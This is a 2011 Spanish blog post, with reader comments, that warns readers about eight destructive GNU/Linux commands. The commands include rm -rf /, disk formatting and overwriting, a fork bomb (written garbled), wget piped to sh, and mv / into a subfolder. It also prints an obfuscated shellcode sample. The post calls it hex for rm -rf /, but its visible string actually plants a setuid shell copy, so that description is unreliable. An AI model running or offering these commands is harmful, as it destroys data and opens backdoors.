Thursday, May 12, 2011

TOP 7 de Comandos Peligrosos en GNU/Linux

Saludos estimados lectores, quiero compartir con ustedes un interesante TOP de 7 comandos sumamente peligrosos, es bien importante que conozcamos bien estos comandos para que no los vallamos a ejecutar en el futuro si alguien nos dice que los ejecutemos, el articulo lo pueden encontrar aqui en ingles.

En seguida el TOP 7 de forma resumida y traducida:

1. 
rm -rf /

Te borrara todos los archivos desde la raiz, mucho cuidadito con ejecutarlo.

2. 

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Es la forma hexagesimal de rm -rf /

3.
mkfs.ext3 /dev/sda

Formatea dispositivos de almacenamiento

4.
){:|:&};:

Ejecuta muchos procesos hasta que el sistema se congela.

5.
Comando_cualquiera > /dev/sda

Total perdida de Datos.

6.
wget http://some_untrusted_source -O- | sh

Un grave error seria ejecutar algo que descarguemos sin revisarlo antes.

7.
mv /home/yourhomedirectory/* /dev/null

Cualquier carpeta mandada a /dev/null sera eliminada.

UPDATE:

8.    By MoDeM
mv / /etc/yum.repos.d/

Si movemos el directorio raíz a una carpeta que esta dentro estaríamos dejando el sistema inutilizable, y la única manera de poder recuperarlo es con un LiveCD o algun otro método parecido.

Ramphis Che

4 comentarios:

MoDeM said...

Notable el hexagecimal de rm -rf /
también agregamos:
#mv / "blabla.repo" /etc/yum.repos.d/

dando un espacio despues de la raiz

a un compañero de trabajo le paso jjajaaj copio todo la raiz en la carpeta repo y se fue al carajete todo, bueno solo regresando los archivos se pudo solucionar pero para eso necesitas otro equipo o un live porque mueves tmb en
/bin/bash y te quedas sin comandos.

Ramphis Che said...

Pero que vendria siendo "blabla.repo"???

No seria simplemente:
#mv / /etc/yum.repos.d/

MoDeM said...

claramente es sin el blabla.repo, pero el comando
#mv / /etc/yum.repos.d
ese de por si solo hace la copia, pero con el "blabla".repo se haria sin intencion de realizar el error.

#mv / blabla.repo /etc/yum.repos.d/

Es para explicar el error que sucedio, que solo agregando un "espacio" quedo el sistema inutilizable.

Ramphis Che said...

ah ya entendi :)

Actualizare el articulo ;D

Gracias!

Post a Comment